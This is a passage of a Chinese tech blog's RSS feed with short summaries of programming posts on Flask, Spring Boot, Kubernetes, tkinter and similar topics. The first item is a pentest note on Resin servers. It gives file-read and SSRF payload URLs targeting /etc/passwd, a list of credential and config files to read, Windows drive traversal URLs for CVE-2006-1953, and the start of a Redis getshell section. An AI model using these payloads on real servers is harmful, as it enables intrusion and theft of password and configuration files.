      <description>一、resin 1 任意文件读取 默认下Resin的/webapps目录下/resin-doc中包含有一个扩展war文件，远程攻击者可能利用此漏洞读取Web主目录下的任意文件，包括JSP源码或类文件。&#xA;payload # viewfile任意文件读取 http://localhost/resin-doc/viewfile/?file=index.jsp # jndi-appconfig inputFile任意文件读取/SSRF http://localhost/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd /resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=远端服务器(Ceye)/内网IP # %20任意文件读取, 通过此漏洞可以读取到串口设备的信息以及网站任意目录的文件遍历。 http://www.example.com:8080/[path]/[device].[extension] http://www.example.com:8080/%20../web-inf http://www.example.com:8080/%20 http://www.example.com:8080/[path]/%20.xtp file参数可读任意文件，index.jsp通常是扫描器扫出，无危害，要读到敏感文件，造成敏感文件泄露的危害，定级为中危。若只能读取无敏感信息的样例文件，定级低危或不收。&#xA;敏感文件（系统文件）&#xA;/etc/passwd /etc/shadow shadow和passwd都是存用户密码 WEB-INF/web.xml Java servlet文件，通过web.xml文件推测应用组件相关类的名字, 然后在src目录下查找代码, 如果没有源代码可以直接下载class文件反编译即可. /etc/hosts /opt/nginx/conf/nginx.conf /etc/sysconfig/network-scripts/ifcfg-eth1 ~/.bashrc_history /root/.bashrc_history /opt/www/nagios/WEB-INF/nagios.conf /opt/nagios/etc/hostgroup.cfg 修复： 从系统中删除resin-doc.war文件，不要使用默认的配置文件部署。&#xA;2 Resin Windows远程目录遍历漏洞 CVE-2006-1953&#xA;受影响版本：&#xA;Resin v3.0.18 for Windows Resin v3.0.17 for Windows 访问C盘根目录及其之下的任意文件。攻击者还可以指定任意盘符&#xA;payload http://victim.com/C:%5C/ http://victim.com/D:%5C/ http://victim.com/E:%5C/ http://victim.com/F:%5C/ Resin viewfile远程文件读取漏洞&#xA;针对resin服务的攻击向量整理&#xA;二、redis 未授权访问+getshell 原理 redis默认端口6379没有配置账号密码&#xA;复现 漏洞靶机需满足两个条件：&#xA;用户以root权限使用redisredis客户端连接服务端拥有写权限 -p 参数指定端口</description>
    </item>
    <item>
      <title>解决flask路由调用函数的尴尬问题</title>
      <link>https://bchobby.github.io/posts/f5d6d14596171d6bb6e78aef3e14e8d5/</link>
      <pubDate>Tue, 07 Jul 2020 21:17:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5d6d14596171d6bb6e78aef3e14e8d5/</guid>
      <description>背景 遇到一个问题，之前写了创建评估任务–调用扫描–结果提交漏洞这么一个功能，运行的时候发现创建完评估任务提交一个请求直接执行扫描，不扫完就没有return结果，所以造成了没扫描完不能成功创建评估任务的尴尬局面。&#xA;脚本的正常逻辑应该是提交请求–判断合法性–返回结果–执行扫描–提交漏洞&#xA;解决办法 先说最后解决的方法&#xA;1、最终解决办法–异步调用 参考：python调用异步函数执行&#xA;写个装饰器定义多线程函数，在扫描脚本前加装饰器。&#xA;scan函数能跟接收请求的svnaddr函数异步执行，这样也能达到先return再scan的效果&#xA;def myasync(f): def wrapper(*args, **kwargs): thr = Thread(target=f, args=args, kwargs=kwargs) thr.start() return wrapper @app.route(&#39;/svnaddr&#39;, methods=[&#39;POST&#39;]) def svnaddr(): if flag == False: # 判断参数合法性 code = 1 message = str(taskid)+&#39; create success !&#39; handleScan(taskid, repo, model, scantime, status) return_info = {&#39;code&#39;:code, &#39;message&#39;:message} return jsonify(return_info) # 扫描 @myasync def handleScan(taskid, repo, model, scantime, status): scan... 搞定！&#xA;2、错误方法–全局变量上下文引用 度娘告诉我的。。也许是我问问题的方式不对，这个思路完全误导我。思路是定义一个全局变量，路由接收到请求后传递给全局变量，下面写个scan函数调用这个全局变量&#xA;但是写了发现，路由执行完之后并不会接着执行下面的函数。。。下面是错误的写法&#xA;def handleScan(taskid, repo, model, scantime, status): scan.</description>
    </item>
    <item>
      <title>Flutter Another exception was thrown: NoSuchMethodError: The method ‘toDouble‘ was called on null.错误</title>
      <link>https://bchobby.github.io/posts/672f83dc42763fa2b34733d2adb2132f/</link>
      <pubDate>Tue, 07 Jul 2020 15:57:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/672f83dc42763fa2b34733d2adb2132f/</guid>
      <description>ListView，Column，Row出现这个错误是因为子元素没有设置宽高</description>
    </item>
    <item>
      <title>springboot注解方式读取配置文件，创建配置文件常量类</title>
      <link>https://bchobby.github.io/posts/80f9fb24d3b9bc68e8638952d7855806/</link>
      <pubDate>Tue, 07 Jul 2020 13:11:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80f9fb24d3b9bc68e8638952d7855806/</guid>
      <description> 1、读取配置文件方式 @Value(&#34;${...}&#34;) private String property; 2、创建配置文件常量类 以创建阿里云OSS常量类为例：&#xA;// 当项目已启动，spring接口，spring加载之后，执行接口一个方法 @Component // 实现一个接口 public class ConstantPropertiesUtils implements InitializingBean { // 读取配置文件内容 @Value(&#34;${aliyun.oss.file.endpoint}&#34;) private String endPoint; @Value(&#34;${aliyun.oss.file.keyid}&#34;) private String keyId; @Value(&#34;${aliyun.oss.file.keysecret}&#34;) private String keySecret; @Value(&#34;${aliyun.oss.file.bucketname}&#34;) private String bucketName; //spring把属性初始化之后会执行此方法 //定义公开静态常量 public static String END_POINT; public static String ACCESS_KEY_ID; public static String ACCESS_KEY_SECRET; public static String BUCKET_NAME; @Override public void afterPropertiesSet() throws Exception { END_POINT = endPoint; ACCESS_KEY_ID = keyId; ACCESS_KEY_SECRET = keySecret; BUCKET_NAME = bucketName; } } 要点： @Component：把配置文件常量类交给SpringBoot容器管理实现InitializingBean接口，重写afterPropertiesSet函数。这个接口的作用是，在初始化bean的时候会执行重写方法，这样就把成员属性赋值给了常量类的静态成员属性。 </description>
    </item>
    <item>
      <title>Linux OTA升级</title>
      <link>https://bchobby.github.io/posts/ed260fba4af022f5da8409787eae85d8/</link>
      <pubDate>Tue, 07 Jul 2020 11:31:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed260fba4af022f5da8409787eae85d8/</guid>
      <description>Linux OTA升级，yocto上平台不提供，是需要客户自己集成的，目前yocto上有swupdate、Mender.io、RAUC，swupdate是免费的使用的相对多一些。不过要是有钱的话最好还是用mender.io，mender根据数量不同收费价格不一样。现在介绍一下swupdate的使用。&#xA;1.根据当前基线版本，下载相应的swupdate软件。比如我目前用的是morty的基线，下载方法：&#xA;git clone https://github.com/sbabic/meta-swupdate.git -b morty&#xA;2.将swupdate meta数据添加到layer层&#xA;echo &#34;BBLAYERS += \&#34; \${BSPDIR}/sources/meta-swupdate \&#34;&#34; &amp;gt;&amp;gt; $BUILD_DIR/conf/bblayers.conf&#xA;3.编译&#xA;bitbake swupdate 由于ota升级会涉及到修改uboot环境变量，所以还需要添加 u-boot-fw-utils软件&#xA;bitbake u-boot-fw-utils&#xA;根据swupdate官网的说明，uboot需要至少2016.05以上的版本，因为我之前用的分支krogoth对应的uboot版本是2016.03，所以后来我就升级了基线，将uboot版本升级到2017.03版本，否则的话编译swupdate时会报错。&#xA;cxt@ubuntu:~/code/nxp/imx6ull_morty/imx6ullevk_build/tmp/work/cortexa7hf-neon-poky-linux-gnueabi/swupdate/2017.01-r0/git$ ls&#xA;archival corelib handlers Kconfig Makefile.flags parser scripts swupdate_unstripped tags&#xA;COPYING doc include Makefile Makefile.help progress_client suricatta swupdate_unstripped.map www&#xA;core examples ipc Makefile.deps mongoose README.md swupdate swupdate_unstripped.out&#xA;成功编译之后 会生成swupdate的bin文件，对编译结果打包放进rootfs文件系统。&#xA;IMAGE_INSTALL_append += &#34;cmake python3 python3-pip swupdate swupdate-www u-boot-fw-utils”&#xA;配置完成开机会默认启动swupdate，启动信息：&#xA;Starting swupdate ...&#xA;Swupdate v2017.</description>
    </item>
    <item>
      <title>%02x与%2x 之间的区别</title>
      <link>https://bchobby.github.io/posts/c30fe6636608533b1183b07873529b9b/</link>
      <pubDate>Tue, 07 Jul 2020 11:00:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c30fe6636608533b1183b07873529b9b/</guid>
      <description>输出最小宽度&#xA;用十进制整数来表示输出的最少位数。若实际位数多于定义的宽度，则按实际位数输出，若实际位数少于定义的宽度则补以空格或0(当最小宽度数值以0开头时)。&#xA;X 表示以十六进制形式输出&#xA;02 表示不足两位，前面补0输出；如果超过两位，则实际输出&#xA;举例：&#xA;printf(&#34;%02X&#34;, 0x345); //打印出：345&#xA;printf(&#34;%02X&#34;, 0x6); //打印出：06&#xA;而如果直接写为 %2x，数据不足两位时，实际输出，即不额外补0输出； 如果超过两位，则实际输出。&#xA;printf(&#34;%2X&#34;, 0x345); //打印出：345&#xA;printf(&#34;%2X&#34;, 0x6); //打印出：6&#xA;例子：&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;int main()&#xA;{&#xA;int i = -20;&#xA;for(i = -20; i &amp;lt; 21; i++)&#xA;{&#xA;printf(&#34;%2x\n&#34;, i);&#xA;printf(&#34;%02x\n&#34;, i); }&#xA;return 0;&#xA;}&#xA;输出结果：&#xA;ffffffec&#xA;ffffffec&#xA;ffffffed&#xA;ffffffed&#xA;ffffffee&#xA;ffffffee&#xA;ffffffef&#xA;ffffffef&#xA;fffffff0&#xA;fffffff0&#xA;fffffff1&#xA;fffffff1&#xA;fffffff2&#xA;fffffff2&#xA;fffffff3&#xA;fffffff3&#xA;fffffff4&#xA;fffffff4&#xA;fffffff5&#xA;fffffff5</description>
    </item>
    <item>
      <title>springboot &#43; shiro 开发api，小程序添加业务域名 校验文件设置</title>
      <link>https://bchobby.github.io/posts/cec0b5061021ff52fe634ea34a27560a/</link>
      <pubDate>Tue, 07 Jul 2020 09:56:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cec0b5061021ff52fe634ea34a27560a/</guid>
      <description>第一次开发小程序api ，得知需要下载校验文件到服务器。 自己采用的springboot+shiro 访问静态文件配置太繁琐。域名又绑定了自己的api ，所以文件存放在哪里 一直比较头疼。 值得庆幸的是 校验文件可以配置一次，校验成功以后可以删除。 那就使用nginx先配置二级域名指定校验文件， 当校验通过以后，再将二级域名指向自己的api</description>
    </item>
    <item>
      <title>web页面uri唤醒应用_带有数据URI的高性能Web设计</title>
      <link>https://bchobby.github.io/posts/d73ef5d0b1e49fdcf08fb1a121b3ec30/</link>
      <pubDate>Tue, 07 Jul 2020 07:55:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d73ef5d0b1e49fdcf08fb1a121b3ec30/</guid>
      <description>web页面uri唤醒应用&#xA;我们最近在Webdesigntuts +上介绍了Web设计中的数据URI的内容，原因和方式 ，在其中研究了使用数据URI进行性能友好的界面设计的一些可能性。 在今天的Premium教程中，我们将采用介绍性文章中介绍的一些理论，以一些用于开发完全实现的用户界面的示例为基础。 为了使事情有趣，我们还将使我们的设计具有响应性，并且将使用Dribbble API和jQuery从Envato Dribbble feed中提取一些图像。 有很多要讲的内容，所以让我们开始吧！ 开始之前 正如我已经提到的那样，本教程基于Web设计教程中的数据URI的内容，原因和方式 。 即使您对数据URI的了解已经扎实，我还是强烈建议您在开始此处之前先阅读本文。 我将使用初始文章中的练习中的一些代码来节省时间，因此，我将要求您在以下几点上跳回到原始文章。 其次，在该项目中，我们将严重依赖数据URI，以便为您提供大量使用此技术的实践。 是否实际在生产中大量使用数据URI还是有争议的（尤其是如果支持&amp;lt;IE7），因此请记住，数据URI只是工具箱中的另一个工具，这些技术不一定适合每种情况。 最后，该项目在Webkit，Firefox和Internet Explorer的最新版本中进行了测试。 您可以放心地假定此接口在IE7及以下版本中将无法完全发挥作用（尽管如果需要，可以很容易地将后援应用于旧版IE版本）。 此外，在本教程中，我将引用-webkit和CSS3元素的通用前缀，但是源文件将包含所有供应商前缀。 关于数据URI的两分钟回顾 在开始破解之前，让我们快速回顾一下数据URI方案是什么，以及为什么它可以作为向浏览器提供元素的好选择，这些元素通常会消耗资源并降低性能。 数据URI是一种将二进制数据编码为ASCII文本字符串的方式，现代浏览器可以读取和呈现该字符串。 数据URI通常用于替换图像文件，但是可以对任何二进制数据进行编码，包括SVG，多媒体，字体等。 使用数据URI的主要好处是减少了在浏览器窗口中加载页面所需的HTTP请求数量。 简而言之，每增加一个HTTP请求（通常）都会对网站的整体性能产生负面影响。 数据URI比标准文件类型（例如JPG图像）大33％左右，但通过压缩和gzip压缩，该数量通常减少到5％以下。 这个额外的文件大小通常不是一个大问题，但是在选择最佳技术以将资产包含到设计中时要牢记这一点。 数据URI冗长，毫无意义，看起来也不是很漂亮，使得标记和样式表难以阅读，浏览和维护。 最好在文本编辑器中使用代码折叠！ 进攻计划 本教程将分为三个单独的阶段，我们将按以下顺序进行处理： 使用HTML和CSS中的参考图片设计“全角”网站。 从Dribbble API和jribbble jQuery插件中提取图像 添加媒体查询以使站点在较小的视口中响应。 好的！ 聊够了！ 让我们开始编码吧！ 步骤1：初始标记 对于我们的设计，我们将以最新HTML5 Boilerplate作为起点。 我们不会在项目中使用样板的所有功能（例如，现代化脚本或分析），但是最好在初始阶段保持“原样”，然后在项目后期返回以减少我们最终没有使用的功能（或者将来可能不会使用）。 在还包含css和js文件夹的目录中创建一个新的index.html文件。 在文档的&amp;lt;body&amp;gt;中，添加&amp;lt;header&amp;gt; ，精选内容&amp;lt;div&amp;gt;和&amp;lt;footer&amp;gt; 。 我们将继续进行充实。 &amp;lt;!DOCTYPE html&amp;gt;&#xD;&amp;lt;!-- HTML5 Boilerplate content goes here --&amp;gt;&#xD;&amp;lt;head&amp;gt;&#xD;&amp;lt;title&amp;gt;Albireo: Designing With Data URIs&amp;lt;/title&amp;gt;&#xD;&amp;lt;link rel=&#34;stylesheet&#34; href=&#34;css/style.css&#34;&amp;gt;&#xD;&amp;lt;!-- HTML5 Boilerplate content goes here --&amp;gt;&#xD;&amp;lt;/head&amp;gt;&#xD;&amp;lt;body&amp;gt;&#xD;&amp;lt;!</description>
    </item>
    <item>
      <title>Java：compareTo()方法</title>
      <link>https://bchobby.github.io/posts/e23e12867d0a98889836292b20298103/</link>
      <pubDate>Mon, 06 Jul 2020 22:03:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e23e12867d0a98889836292b20298103/</guid>
      <description> 首先compareTo()是String的比较方法，int类型不可用，直接用大于小于等于基本符号比较。如果有特殊需要，可以把int用String.valeOf(int num)转换成String类型，比如说leetcode的179题“最大数”。&#xA;调用compareTo()一般可以分为以下的几种情况：&#xA;s1.compareTo(s2)：&#xA;1.首字母不同，返回首字母的asc码差值，s1 - s2的值&#xA;2.首字母相同就继续往下比较，如果比较到了一个不同的asc码值，比如s1 = “abc”,s2 = “abb”，就返回c - b的asc码差值&#xA;3.在上一情况中，如果比较到了其中一个字符串的结束（比如s1 = “abc”,s2 = “abc12293”），还没有找到对应不同的asc码，就返回字符串的长度之差：s1.length() - s2.length()&#xA;总的来说，如果可以按asc码值来规定大小，那么：&#xA;compareTo() &amp;gt; 0，说明s1 &amp;gt; s2【可能是asc码值之差，也可能是部分相等后的长度之差（情况3）】；compareTo()==0，说明是上述第三种情况，且两个字符串长度也相等，即完全相等；compareTo() &amp;lt; 0，说明s1 &amp;lt; s2【三个情况都有可能】 </description>
    </item>
    <item>
      <title>Leetcode 421. 数组中两个数的最大异或值 C&#43;&#43;</title>
      <link>https://bchobby.github.io/posts/9c185355a985295615f6480417968b0e/</link>
      <pubDate>Mon, 06 Jul 2020 20:26:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c185355a985295615f6480417968b0e/</guid>
      <description>Leetcode 421. 数组中两个数的最大异或值 题目 给定一个非空数组，数组中元素为 a0, a1, a2, … , an-1，其中 0 ≤ ai &amp;lt; 231 。&#xA;找到 ai 和aj 最大的异或 (XOR) 运算结果，其中0 ≤ i, j &amp;lt; n 。&#xA;你能在O(n)的时间解决这个问题吗？&#xA;示例: 输入: [3, 10, 5, 25, 2, 8] 输出: 28 解释: 最大的结果是 5 ^ 25 = 28. 测试样例 前缀树&#xA;我们可以根据每个数位建立一个前缀数。对于当前的数，从高位到低位，我们尽可能的遍历和自己数位不同的结点，显然就是得到当前数异或的最大值。详细过程见代码&#xA;代码 struct Tree{ Tree* zero; Tree* one; int value; Tree(){ zero = NULL; one = NULL; } }; class Solution { public: int findMaximumXOR(vector&amp;lt;int&amp;gt;&amp;amp; nums) { int n = nums.</description>
    </item>
    <item>
      <title>K8s &#43; Docker 部署ELK日志系统</title>
      <link>https://bchobby.github.io/posts/568a37ba4e2718a341510be8ee49378a/</link>
      <pubDate>Mon, 06 Jul 2020 18:36:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/568a37ba4e2718a341510be8ee49378a/</guid>
      <description>K8s + Docker 部署ELK日志系统，分布式/微服务架构下必备技能！&#xA;前提：假定你已经安装并集成好docker、docker私服和k8s基础环境！&#xA;部署Elasticsearch&#xA;1、基于官方docker部署的文档进行k8s集成，官方文档地址如下：&#xA;https://www.elastic.co/guide/en/elasticsearch/reference/7.8/docker.html ELK集成需要配套版本号，这里统一为：7.8.0版本（如果不想使用官方的镜像，自己制作也是可以的）。&#xA;2、确定运行es的节点服务器，例如node7，给对应的节点打上运行es的标签，执行如下命令：&#xA;kubectl label nodes node7 deploy.elk=true 3、在node7节点创建绑定目录，并授权：&#xA;mkdir -p /opt/apps-mgr/es/ chmod -R 777 /opt/apps-mgr/es 4、系统内核优化，使之符合es的生产模式：&#xA;vi /etc/security/limits.conf，然后末尾追加：--ulimit - nofile 65535 vi /etc/security/limits.conf，然后末尾追加：--ulimit - nproc 4096 vi /etc/fstab，然后注释所有包含swap的行 vi /etc/sysctl.conf，然后末尾追加：vm.max_map_count=262144，执行sysctl -p生效 5、从docker官方私服拉取镜像，并推送镜像到内部私服：&#xA;docker pull docker.elastic.co/elasticsearch/elasticsearch:7.8.0 docker tag docker.elastic.co/elasticsearch/elasticsearch:7.8.0 10.68.60.103:5000/elasticsearch:7.8.0 docker push 10.68.60.103:5000/elasticsearch:7.8.0 注意：10.68.60.103:5000修改为你自己的私服地址。&#xA;6、编写es-deployment.yaml文件，内容如下：&#xA;apiVersion: apps/v1 kind: Deployment metadata: name: es-deployment namespace: my-namespace labels: app: es-deployment spec: replicas: 1 selector: matchLabels: app: es-pod template: metadata: labels: app: es-pod spec: nodeSelector: deploy.</description>
    </item>
    <item>
      <title>小程序canvas绘制图片并保存</title>
      <link>https://bchobby.github.io/posts/1b19902e57ecd646393bcc89bd5e65b0/</link>
      <pubDate>Mon, 06 Jul 2020 17:09:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b19902e57ecd646393bcc89bd5e65b0/</guid>
      <description>之前写过一篇小程序分享，体验不是很好。因为用户点击去分享时，canvas绘制并转换成图片需要一定的时间，用户视觉等待的时间有点长。为了更好的优化这一体验，我们可以这么做：&#xA;1、用户点击去分享，先用页面标签将海报图绘制出来；&#xA;2、当用户点击保存的时候，我们执行绘制canvas绘制，canvas转换图片，保存图片的过程。&#xA;一、用页面标签把海报图画出来，这个不需要讲解了，前端都能做到；&#xA;二、我们详细讲解一下canvas绘制的思路：&#xA;1、配置海报上的信息，需要绘制什么内容&#xA;2、用户点击保存按钮&#xA;// 点击保存事件&#xA;saveImgHandler() {&#xA;if(this.data.shareInviteImage){&#xA;this.saveInviteCanvas()&#xA;}else{&#xA;this.drawInviteCanvas(this.data.InviteOption).then( () =&amp;gt; {&#xA;this.saveInviteCanvas() // canvas保存本地相册&#xA;})&#xA;}&#xA;},&#xA;// 绘制&#xA;drawInviteCanvas (params) {&#xA;let that = this&#xA;return new Promise(function (resolve, reject) {&#xA;CanvasInvite.call(that,params).then((url) =&amp;gt; {&#xA;if (url) {&#xA;resolve(url)&#xA;that.setData({&#xA;shareInviteImage: url,&#xA;})&#xA;} else {&#xA;reject(0)&#xA;}&#xA;},this);&#xA;})&#xA;},&#xA;// canvas保存本地相册&#xA;saveInviteCanvas() {&#xA;let that = this&#xA;wx.showLoading({&#xA;title: ‘’,</description>
    </item>
    <item>
      <title>cocos vscode&#43;luaide 断点调试配置</title>
      <link>https://bchobby.github.io/posts/92ba31364c0b5f10da2f1fe1fa8a0ae9/</link>
      <pubDate>Mon, 06 Jul 2020 16:01:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92ba31364c0b5f10da2f1fe1fa8a0ae9/</guid>
      <description>前言：&#xA;每次都被调试，搞得头大，记忆力不好，每次也都忘记配置流程，写个博客，帮助大家也帮助自己。&#xA;需要的软件：vscode 、luaide、vsstudio(这个可要，可不要，我的配置并没有用到)&#xA;1、安装vscode 这个官网直接下载就可以了&#xA;2、安装luaide (卸载或关闭其他的lua工具) 直接在vscode商城里下载即可&#xA;注意的地方：&#xA;exepath，填写exe生成的地方。换成自己的路径&#xA;ide点击调试的时候，加入LuadegJni文件&#xA;3、调试代码，在入口文件里第一句就加入&#xA;local breakSocketHandle,debugXpCall = require(&#34;src/LuaDebugjit&#34;)(&#34;localhost&#34;,7003)&#xA;再在__G__TRACKBACK__ 函数里，加入debugXpCall()&#xA;4、打断点，启动调试&#xA;5、启动自己的exe或者启动vsstudio，程序在断点处会调试</description>
    </item>
    <item>
      <title>Qt学习之路——Qt软件安装</title>
      <link>https://bchobby.github.io/posts/97007d48d8fc4a8923f1250829cde2aa/</link>
      <pubDate>Mon, 06 Jul 2020 12:17:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97007d48d8fc4a8923f1250829cde2aa/</guid>
      <description>鉴于未来用到Qt的可能性 比 VSS 更高，下载Qt 来学习学习 未雨绸缪，话不多说，先安个软件。&#xA;Qt安装 1、Qt安装网址（http://download.qt.io/archive/qt/5.14/5.14.2/）&#xA;Windows下安装，话说官网下安装也没感觉很慢（10min）&#xA;2、安装教程（http://c.biancheng.net/view/3858.html） 安装教程很详细（5.9版）简单通用就是点点点。不过开始安装的时候记得断网，那样不需要登录。安装勾选、文件介绍，教程里有&#xA;3、安装完成&#xA;Qt Creator ：一大堆文件 请认准Qt Creator 4.11.1 然后就移步看Qt Creator初步使用&#xA;Qt Creator初步使用 1、界面介绍（http://c.biancheng.net/view/1804.html）&#xA;嗯...自带的设置都是对的 主要是要看一下编译器有没有问题&#xA;2、睡一觉想想</description>
    </item>
    <item>
      <title>Proxmox VE虚拟化从入门到应用实战-服务器管理篇（网络配置2</title>
      <link>https://bchobby.github.io/posts/99ad0979efa46a1db8e6cdee68d109d3/</link>
      <pubDate>Mon, 06 Jul 2020 10:22:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99ad0979efa46a1db8e6cdee68d109d3/</guid>
      <description>Proxmox VE虚拟化从入门到应用实战-服务器管理篇（网络配置2）&#xA;一、Linux多网口绑定&#xA;多网口绑定（也称为网卡组或链路聚合）是一种将多个网卡绑定单个网络设备的技术。利用该技术可以实现某个或多个目标，例如提高网络链容错能力，增加网络通信性能等。&#xA;类似光纤通道和光纤交换机这样的高速网络硬件的价格一般都非常昂贵。利用链路聚合技术，将两个物理网卡组成一个逻辑网卡，能够将网络传输速度加倍。大部分交换机设备都已经支持Linux内核的这个特性。如果您的服务器有多个以太网口，你可以将这些网口连接到不同的交换机，以便将故障点分散到不同的网络设备，一旦有物理线路故障或网络设备故障发生，多网卡绑定会自动将通信流量从故障线路切换到正常线路。&#xA;链路聚合技术可以有效减少虚拟机在线迁移的时延，并提高Proxmox VE集群服务器节点之间的数据复制速度。&#xA;目前一共有7种网口绑定模式：&#xA;轮训模式（blance-rr）：网络数据包将按顺序从绑定的第一个网卡到最后一个网卡轮流发送。这种模式可以同时实现负载均衡和链路容错效果。 主备模式（active-backup）:该模式下网卡组中只有一个网卡活动。只有活动的网卡故障时，其他网卡才会启动并接替该网卡的工作。整个网卡组使用其中一块网卡的MAC地址作为对外通信的MAC地址，以避免网络交换机产生混乱。这种模式仅能实现链路容错效果。 异或模式（balance-xor）：网络数据包按照异或策略在网卡组中选择一个网卡发送（[源MAC地址 XOR 目标MAC地址] MOD 网卡组中网卡数量）。对于同一个目标MAC地址，该模式每次都选择使用相同网卡通信。该模式能同时实现负载均衡和链路容错效果。 广播模式（broadcast）：网络数据包会同时通过网卡组中所有网卡发送。该模式能实现链路容错效果。 IEEE 802.3ad动态链路聚合模式（802.3ad）（LACP）：该模式会创建多个速度和双工配置一致的聚合组。并根据802.3ad标准在活动聚合组中使用所有网卡进行通信。 自适应传输负载均衡模式（balance-tlb）：该Linux网卡绑定模式无须交换机支持即可配置使用。根据当前每块网卡的负载情况（根据链路速度计算的相对值），流出的网络数据包流量会自动进行均衡。流入的网络流量将由当前指定的一块网卡接收。如果接收流入流量的网卡故障，会自动重新指定一块网卡接收网络数据包，但该网卡仍沿用之前故障网卡的MAC地址。 自适应负载均衡模式（均衡的IEEE 802.3ad动态链路聚合模式（802.3ad）（LACP）:-alb）：该模式是在blance-tlb模式的基础上结合了IPV4网络流量接收负载均衡（rlb）特性，并且无须网络交换机的专门支持即可配置使用。网络流量接收负载均衡基于ARP协商实现。网卡组驱动将自动截获本机的ARP应答报文，并使用网卡组中其中一块网卡的MAC地址覆盖ARP报文中应答的源MAC地址，从而达到不同的网络通信对端和本机不同MAC地址通信的效果。 示 在网络交换机支持LACP（IEEE 802.3ad）协议的情况下，推荐使用LACP绑定模式（802.3ad），其他情况建议使用active-backup模式。&#xA;对于Proxmox集群网络的网卡绑定，目前仅支持active-backup模式，其他模式均不支持。&#xA;下面所列的网卡绑定配置示例可用于分布式/共享存储网络配置。其主要优势是能达到更高的传输速度，同时实现网络链路容错的效果。</description>
    </item>
    <item>
      <title>tkinter-place布局详解</title>
      <link>https://bchobby.github.io/posts/a6fe9680822dba498d755e8e010da972/</link>
      <pubDate>Mon, 06 Jul 2020 07:53:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6fe9680822dba498d755e8e010da972/</guid>
      <description>前文介绍了tkinter中的grid布局，相信对tkinter的布局套路有了进一步的了解。本文将介绍另一种布局类place。&#xA;同样，展示布局类与控件类的类间关系：&#xA;文章目录 placexyrelxrelywidthheightanchor place place(cnf={}, **kw)&#xA;place和其他两种布局方式相比，更加&#34;自由&#34;但是需要做的事情也多。布局一般就是设置子控件相对于父控件的 起始位置、宽和高。在pack、grid的布局方式中，起始位置、宽和高都会给默认配置，所以使用起来会更&#34;简&#34;，代价就是&#34;控制权&#34;减少。所以place虽然&#34;繁&#34;，但完全自主控制。三种布局方式，没有哪种最好，哪种不好，看实际需要求选着合适的即可。&#xA;下面，我们先过一遍place的常见属性，展示其含义及用法。&#xA;按照之前两篇文章的思路，place()先不传参，直接调用。看看会是什么效果呢？&#xA;from tkinter import (Tk, Button) from tkinter.constants import RIGHT, LEFT, X, Y, BOTH main_win = Tk() main_win.title(&#39;渔道的grid布局&#39;) width = 300 height = 300 main_win.geometry(f&#39;{width}x{height}&#39;) # print(main_win.keys()) apple_color = &#39;Crimson&#39; banana_color = &#39;Yellow&#39; orange_color = &#39;Orange&#39; grape_color = &#39;Purple&#39; fruit = {&#39;apple&#39;:&#39;Crimson&#39;, &#39;banana&#39;:&#39;Yellow&#39;, &#39;orange&#39;:&#39;Orange&#39;, &#39;grape&#39;:&#39;Purple&#39;} # 默认显示效果 i = 0 for k,v in fruit.items(): bt = Button(main_win, text=k, fg=&#39;black&#39;, bg=v) bt.</description>
    </item>
    <item>
      <title>Ubuntu20.04开启root账户</title>
      <link>https://bchobby.github.io/posts/c5e2680614ed7258ac41c4c200f8bbc9/</link>
      <pubDate>Sun, 05 Jul 2020 22:20:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5e2680614ed7258ac41c4c200f8bbc9/</guid>
      <description>Ubuntu20.04开启root账户 Ubuntu20.04安装完成之后默认是没有root账户登录权限的，按照以下步骤即可实现开机一步完成root账户登录，看完你会不会觉得很方便呢&#xA;1. 第一步 以普通用户登录系统，创建root用户的密码&#xA;在终端输入命令：sudo passwd root&#xA;然后输入设置的密码，输入两次，这样就完成了设置root用户密码了（注意Linux系统下密码是没有回显的）&#xA;2. 第二步 修改 50-ubuntu.conf 文件&#xA;在终端输入命令：sudo gedit /usr/share/lightdm/lightdm.conf.d/50-ubuntu.conf&#xA;在文件末尾增加如下两行：&#xA;greeter-show-manual-login=true&#xA;all-guest=false&#xA;3. 第三步 修改 gdm-autologin 文件&#xA;在终端输入命令：sudo gedit /etc/pam.d/gdm-autologin 打开文件&#xA;前面加 # 注释掉第三行的 auth required pam_succeed_if.so user != root quiet_success&#xA;4. 第四步 修改 gdm-password 文件&#xA;在终端输入命令：sudo gedit /etc/pam.d/gdm-password 打开文件&#xA;前面加 # 注释掉第三行的 auth required pam_succeed_if.so user != root quiet_success&#xA;5. 第五步 修改 /root/.profile 文件&#xA;在终端输入命令：sudo gedit /root/.profile 打开文件&#xA;将文件末尾的 mesg n 2&amp;gt; /dev/null || true 这一行修改成</description>
    </item>
    <item>
      <title>eclipse快捷键失效的解决措施</title>
      <link>https://bchobby.github.io/posts/125b570ecab55646bce4d98d08ae96b0/</link>
      <pubDate>Sun, 05 Jul 2020 17:16:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/125b570ecab55646bce4d98d08ae96b0/</guid>
